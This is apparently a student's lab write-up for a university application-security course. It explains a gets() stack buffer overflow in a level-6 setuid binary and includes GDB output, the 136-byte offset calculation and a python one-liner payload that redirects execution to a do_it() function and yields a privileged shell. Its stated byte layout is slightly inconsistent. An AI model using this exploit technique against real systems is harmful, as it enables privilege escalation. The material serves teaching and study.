Home Assignment 2a › hacker track › assignment2-177 Digital test Mon, 20 Apr Submit
Aryan
gets() was removed from the C standard because it's THAT dangerous. No size limit. I filled it past the RBP straight into the return address. GDB finally makes sense — only took 6 levels.
Aryan

See the assignment's PDF available on BrightSpace for task descriptions and submission requirements.

Level 6

6
(1) Explain what were the vulnerabilities of the target program of this level.
(2) Explain how you exploited the aforementioned vulnerabilities to get access to the next level.
Your explanations must be clear and not miss any detail. Take care that with your explanations a reader would be able to exploit the target program.
Answer

1) the vulnerability is the great gets() function, which allows us to fill buffers without gets() checkin the size of the buffer, so we can overflow the buffer until we reach the RBP and ret. addr. of main. The since we know the memory address of the do_it() function (it's printed when you run the code), we can use gets() to cause a buffer overflow, and overwrite the return address to be the do_it function. This function runs the bash command with the elevated privilegdes of the file.

2) We need to find out the mem adr of the do_it() function. It's printed in main so we can just run the level6 binary. This address doesn't change because the address stays the same after running it again, luckily, so ASLR does not affect it here.

students177@appsec2026:/levels/level6$ ./level6
0x555555555189

We analysed in gdb:

gdb ./level6
gdb) run
Starting program: /levels/level6/level6
warning: Probes-based dynamic linker interface failed.
Reverting to original interface.
process 747953 is executing new program: /levels/level6/level6
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x555555555189
[Inferior 1 (process 747953) exited normally]

136 bytes to fill yo and old rbp, last 8 bytes of overflow overwrite the ret. addr
Here the stack, all A's, and the overflow is the BBBBCCCC in hex.

Now the address 0x555555555189 in little endien is: 00 00 55 55 55 55 51 89
Now we need to pass 136 arbitrary bytes, 128 into yo[] and 8 into the old RBP and then the 8 overflow bytes. Can be done using a quick python script with a b"AAA" script, b means bytes, and pipe into the level6 binary.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*136 + b"\x08\x52\x55\x55\x55\x55\x00\x00" + b"\x89\x51\x55\x55\x55\x55\x00\x00\n")' > payload.bin

then

(cat payload.bin ; sleep 0.1 ; cat - ) | ./level6

now you're in bash, with elevated priviledges so:

escalate
Permanently added students177 to group level6, congratulations!
Stack Buffer Overflow via gets()
gets() reads with no size limit. The buffer is 128 bytes + 8 (RBP) = 136 bytes to reach the return address. The binary prints do_it()'s address at startup. We write 136 × 'A' + old-RBP + do_it address → shell.